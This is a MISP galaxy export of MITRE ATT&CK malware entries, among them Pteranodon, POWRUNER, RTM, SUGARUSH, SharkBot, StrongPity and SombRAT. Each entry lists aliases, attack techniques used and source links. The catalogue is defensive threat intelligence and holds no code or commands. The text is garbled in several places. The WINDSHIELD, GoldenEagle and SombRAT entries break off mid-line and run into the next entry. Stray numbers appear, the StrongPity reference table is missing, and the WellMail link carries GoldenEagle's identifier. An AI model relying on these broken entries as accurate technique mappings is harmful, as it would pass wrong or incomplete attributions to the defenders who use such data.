- uses: **misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"** with estimative-language:likelihood-probability="almost-certain"
- uses: **misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"** with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Junk Data - T1001.001" with estimative-language:likelihood-probability="almost-certain"

Table 6883. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1047">https://attack.mitre.org/software/S1047</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-055a">https://www.cisa.gov/uscert/ncas/alerts/aa22-055a</a></td>
</tr>
</tbody>
</table>

Pteranodon - S0147

[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)

The tag is: *misp-galaxy:mitre-malware="Pteranodon - S0147"*

Pteranodon - S0147 is also known as:

- Pteranodon
- Pterodo

View relationships graph

Pteranodon - S0147 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="Pteranodon" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic API Resolution - T1027.007" with estimative-language:likelihood-probability="almost-certain"

Table 6884. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0147">https://attack.mitre.org/software/S0147</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/iron-tilden">https://www.secureworks.com/research/threat-profiles/iron-tilden</a></td>
</tr>
</tbody>
</table>

**build_downer - S0471**

[build_downer](https://attack.mitre.org/software/S0471) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)
The tag is: misp-galaxy:mitre-malware="build_downer - S0471"

build_downer - S0471 is also known as:

- build_downer

View relationships graph

build_downer - S0471 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 6885. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0471">https://attack.mitre.org/software/S0471</a></td>
</tr>
</tbody>
</table>

QUIETEXIT - S1084

[QUIETEXIT](https://attack.mitre.org/software/S1084) is a novel backdoor, based on the open-source Dropbear SSH client-server software, that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021. [APT29](https://attack.mitre.org/groups/G0016) has deployed [QUIETEXIT](https://attack.mitre.org/software/S1084) on opaque network appliances that typically don’t support antivirus or endpoint detection and response tools within a victim environment. (Citation: Mandiant APT29 Eye Spy Email Nov 22)

The tag is: misp-galaxy:mitre-malware="QUIETEXIT - S1084"

QUIETEXIT - S1084 is also known as:
QUIETEXIT - S1084 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 6886. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1084">https://attack.mitre.org/software/S1084</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/unc3524-eye-spy-email">https://www.mandiant.com/resources/blog/unc3524-eye-spy-email</a></td>
</tr>
</tbody>
</table>

POWRUNER - S0184

[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)

The tag is: **misp-galaxy:mitre-malware="POWRUNER - S0184"**

POWRUNER - S0184 is also known as:

- POWRUNER

POWRUNER - S0184 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="POWRUNER" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6887. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0184">https://attack.mitre.org/software/S0184</a></td>
</tr>
<tr>
<td><a href="https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html">https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html</a></td>
</tr>
</tbody>
</table>

3876
ViceLeaker - S0418

[ViceLeaker](https://attack.mitre.org/software/S0418) is a spyware framework, capable of extensive surveillance and data exfiltration operations, primarily targeting devices belonging to Israeli citizens.(Citation: SecureList - ViceLeaker 2019)(Citation: Bitdefender - Triout 2018)

The tag is: `misp-galaxy:mitre-malware="ViceLeaker - S0418"`

ViceLeaker - S0418 is also known as:

- ViceLeaker
- Triout

View relationships graph

ViceLeaker - S0418 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1544"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Video Capture - T1512"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern=" Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 6888. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0418">https://attack.mitre.org/software/S0418</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/fanning-the-flames-viceleaker-operation/90877/">https://securelist.com/fanning-the-flames-viceleaker-operation/90877/</a></td>
</tr>
</tbody>
</table>

RTM - S0148

[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). Newer versions of the malware have been reported publicly as Redaman.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)

The tag is: misp-galaxy:mitre-malware="RTM - S0148"

RTM - S0148 is also known as:

• RTM
• Redaman

View relationships graph

RTM - S0148 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Resolution - T1568" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtualization/Sandbox Evasion - T1497" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clear Persistence - T1070.009" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:malpedia="RTM" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 6889. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0148">https://attack.mitre.org/software/S0148</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/">https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/</a></td>
</tr>
</tbody>
</table>

SUGARUSH - S1049

[SUGARUSH](https://attack.mitre.org/software/S1049) is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. [SUGARUSH](https://attack.mitre.org/software/S1049) was first identified during analysis of UNC3890's [C0010](https://attack.mitre.org/campaigns/C0010) campaign targeting Israeli companies, which began in late 2020.(Citation: Mandiant UNC3890 Aug 2022)

The tag is: misp-galaxy:mitre-malware="SUGARUSH - S1049"

SUGARUSH - S1049 is also known as:

• SUGARUSH

View relationships graph

SUGARUSH - S1049 has relationships with:
• uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 6890. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1049">https://attack.mitre.org/software/S1049</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping">https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping</a></td>
</tr>
</tbody>
</table>

SimBad - S0419

[SimBad](https://attack.mitre.org/software/S0419) was a strain of adware on the Google Play Store, distributed through the RXDroider Software Development Kit. The name "SimBad" was derived from the fact that most of the infected applications were simulator games. The adware was controlled using an instance of the open source framework Parse Server. (Citation: CheckPoint SimBad 2019)

The tag is: *misp-galaxy:mitre-malware="SimBad - S0419"

SimBad - S0419 is also known as:

• SimBad

View relationships graph

SimBad - S0419 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1628.001" with estimative-language:likelihood-probability="almost-certain"

Table 6891. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
</tbody>
</table>

4881
MoonWind - S0149

[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)

The tag is: *misp-galaxy:mitre-malware="MoonWind - S0149"

MoonWind - S0149 is also known as:

- MoonWind

**View relationships graph**

MoonWind - S0149 has relationships with:


- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001"* with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001"* with estimative-language:likelihood-probability="almost-certain"


- uses: *misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"* with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120"* with estimative-language:likelihood-probability="almost-certain"

- uses: *misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"* with estimative-language:likelihood-probability="almost-certain"


- similar: *misp-galaxy:tool="MoonWind"* with estimative-language:likelihood-probability="likely"

- uses: *misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"* with estimative-language:likelihood-probability="almost-certain"

- similar: *misp-galaxy:malpedia="MoonWind"* with estimative-language:likelihood-probability="likely"


- uses: *misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571"* with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"

• uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"

Table 6892. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0149">https://attack.mitre.org/software/S0149</a></td>
</tr>
</tbody>
</table>

**StrongPity - S0491**

[StrongPity](https://attack.mitre.org/software/S0491) is an information stealing malware used by [PROMETHIUM](https://attack.mitre.org/groups/G0056).(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)

The tag is: misp-galaxy:mitre-malware="StrongPity - S0491"

StrongPity - S0491 is also known as:

• StrongPity

View relationships graph

StrongPity - S0491 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
SharkBot - S1055

[SharkBot](https://attack.mitre.org/software/S1055) is a banking malware, first discovered in October 2021, that tries to initiate money transfers directly from compromised devices by abusing Accessibility Services. (Citation: nccgroup_sharkbot_0322)

The tag is: `misp-galaxy:mitre-malware="SharkBot - S1055"

SharkBot - S1055 is also known as:

- SharkBot

View relationships graph

SharkBot - S1055 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Uninstall Malicious Application - T1630.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1544"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1417.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1521.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1637.001" with estimative-language:likelihood-probability="almost-certain"

Table 6894. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S1055">https://attack.mitre.org/software/S1055</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/">https://research.nccgroup.com/2022/03/03/sharkbot-a-new-generation-android-banking-trojan-being-distributed-on-google-play-store/</a></td>
</tr>
</tbody>
</table>

WINDSHIELD - S0155

[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: misp-galaxy:mitre-malware="WINDSHIELD - S0155"

View relationships graph

WINDSHIELD - S0155 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-
GoldenEagle - S0551

[GoldenEagle](https://attack.mitre.org/software/S0551) is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012. (Citation: Lookout Uyghur Campaign)

The tag is: `misp-galaxy:mitre-malware="GoldenEagle - S0551"`

GoldenEagle - S0551 is also known as:

- GoldenEagle

View relationships graph

GoldenEagle - S0551 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001"` with estimative-language:likelihood-probability="almost-certain"


- uses: `misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Screen Capture - T1513"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="Location Tracking - T1430"` with estimative-language:likelihood-probability="almost-certain"

- uses: `misp-galaxy:mitre-attack-pattern="SMS Control - T1582"` with estimative-
WellMail - S0515

[WellMail](https://attack.mitre.org/software/S0551) is a lightweight malware written in Golang used by [APT29](https://attack.mitre.org/groups/G0016), similar in design and structure to [WellMess](https://attack.mitre.org/software/S0514). (Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)

The tag is: `misp-galaxy:mitre-malware="WellMail - S0515"

WellMail - S0515 is also known as:

- WellMail

View relationships graph

WellMail - S0515 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 6897. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0515">https://attack.mitre.org/software/S0515</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c">https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c</a></td>
</tr>
</tbody>
</table>

**SombRAT - S0615**

[SombRAT](https://attack.mitre.org/software/S0615) is a modular backdoor written in C++ that has been used since at least 2019 to download and execute malicious payloads, including [FIVEHANDS](https://attack.mitre.org/software/S0618) ransomware.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)

The tag is: *misp-galaxy:mitre-malware="SombRAT - S0615"*

SombRAT - S0615 is also known as:

- SombRAT

View relationships graph

SombRAT - S0615 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-
• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
